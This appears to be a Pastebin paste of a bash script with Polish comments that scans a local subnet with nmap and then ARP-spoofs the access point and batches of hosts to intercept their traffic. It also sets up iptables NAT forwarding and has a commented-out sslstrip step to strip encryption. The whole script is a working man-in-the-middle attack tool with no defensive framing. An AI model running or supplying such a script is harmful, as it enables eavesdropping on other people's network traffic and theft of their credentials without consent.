Advertisement
Guest User

Untitled

a guest
Nov 21st, 2019
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.59 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # TODO: wyciąć adres routera z targets.txt
  4. # TODO: posprzątać po daemonach
  5.  
  6. NIC=wlx48022abcf466
  7. SCAN_IP_ADDR=192.168.0.1
  8. AP_IP=192.168.0.255
  9. SCAN_SUBNET_MASK=24
  10. MY_IP=$(ifconfig $NIC | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
  11. echo $MY_IP
  12.  
  13. # Network scan
  14. # SCAN_RESULT=$(nmap -sP ${SCAN_IP_ADDR}/${SCAN_SUBNET_MASK})
  15. nmap -sP ${SCAN_IP_ADDR}/${SCAN_SUBNET_MASK} > tmp.txt
  16. cat tmp.txt | grep -o -P "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > targets.txt
  17. # echo "${SCAN_RESULT}" | grep -o -P "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > targets.txt
  18. sed "/$MY_IP/d" targets.txt
  19. cp targets.txt targets_backup.txt
  20.  
  21. # IP Forwarding preparings
  22. sysctl -w net.ipv4.ip_forward=0
  23. iptables -P FORWARD ACCEPT
  24. iptables --table nat -A POSTROUTING -o $NIC -j MASQUERADE
  25.  
  26.  
  27. # ARP Spoof on AP and hosts
  28. iter=$(cat targets.txt | wc -l)
  29. let iter/=5
  30.  
  31. for (( i=0; $i <= $iter; i++)) ; do
  32.     # arpspoof -i $NIC -t $AP_IP $(cat targets.txt | head -n $i | tail -n 1) &
  33.     # arpspoof -i $NIC -t $(cat targets.txt | head -n $i | tail -n 1) $AP_IP &
  34.  
  35.     for (( j=1; $j < 6; j++)) ; do
  36.         target_ip=$(sed "${j}q;d" targets.txt)
  37.         arpspoof -i $NIC -t $AP_IP $target_ip &
  38.         echo $! >> pids.tmp
  39.         target_ipx=$(sed "${j}q;d" targets.txt)
  40.         arpspoof -i $NIC -t $target_ipx $AP_IP &
  41.         echo $! >> pids.tmp        
  42.  
  43.         # tab[i+1]=
  44.     done
  45.  
  46.     sleep 1m
  47.  
  48.     sed -i -e 1,5d targets.txt
  49.  
  50.     while read p; do
  51.         kill -9 "${p}"
  52.     done <pids.tmp
  53.  
  54.     rm pids.tmp
  55.  
  56. done
  57.  
  58.  
  59. # SSL Strip
  60. # sslstrip -f -k -p &
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement